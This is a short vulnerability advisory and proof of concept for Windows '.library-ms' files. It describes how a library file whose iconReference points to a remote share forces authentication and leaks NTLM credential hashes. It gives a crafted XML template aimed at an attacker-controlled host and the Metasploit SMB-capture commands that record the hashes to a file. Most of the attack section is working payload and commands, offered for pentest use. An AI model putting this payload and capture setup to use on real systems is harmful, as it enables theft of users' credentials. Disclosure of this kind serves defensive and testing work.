Vendor
================
www.microsoft.com


File format
============
".library-ms" File Type


Operating system file introduced with Microsoft Windows 7, appears as a subfolder within the Libraries folder in the left side panel of the Windows Explorer
and includes references to one or more folders that can be browsed when the library is opened.

Library description files are XML files that define libraries. Libraries aggregate items from local and remote storage locations into a single
view in Windows Explorer. Library description files follow the Library Description schema and are saved as *.library-ms files.



Vulnerability Type
===================
Information Disclosure



Security Issue
================
.library-ms filetype triggers forced authentication when a user/client accesses a remote share that houses an attacker supplied ".library-ms" file, disclosing
credential hashes and other identifiable computer informations.

This is already a well known issue and therefore is just another attack vector that can be used on a pentest etc.



Exploit/POC
=============
1) Create "test.library-ms" using a ATTACKER-IP / Unknown host for the "iconReference" XML Node and place on Network share.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@shell32.dll,-34575</name>

<version>1</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>\\blahblahblahblahblah\poc\,-1002</iconReference>

2) Using smb capture from Kali

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/hashes.txt
JOHNPWFILE = /tmp/hashes.txt
msf auxiliary(smb) > exploit -j
[*] Auxiliary module running as background job

[*] Server started.
msf auxiliary(smb)



3) Access the Network share containing the "test.library-ms" Windows file type.




Network Access
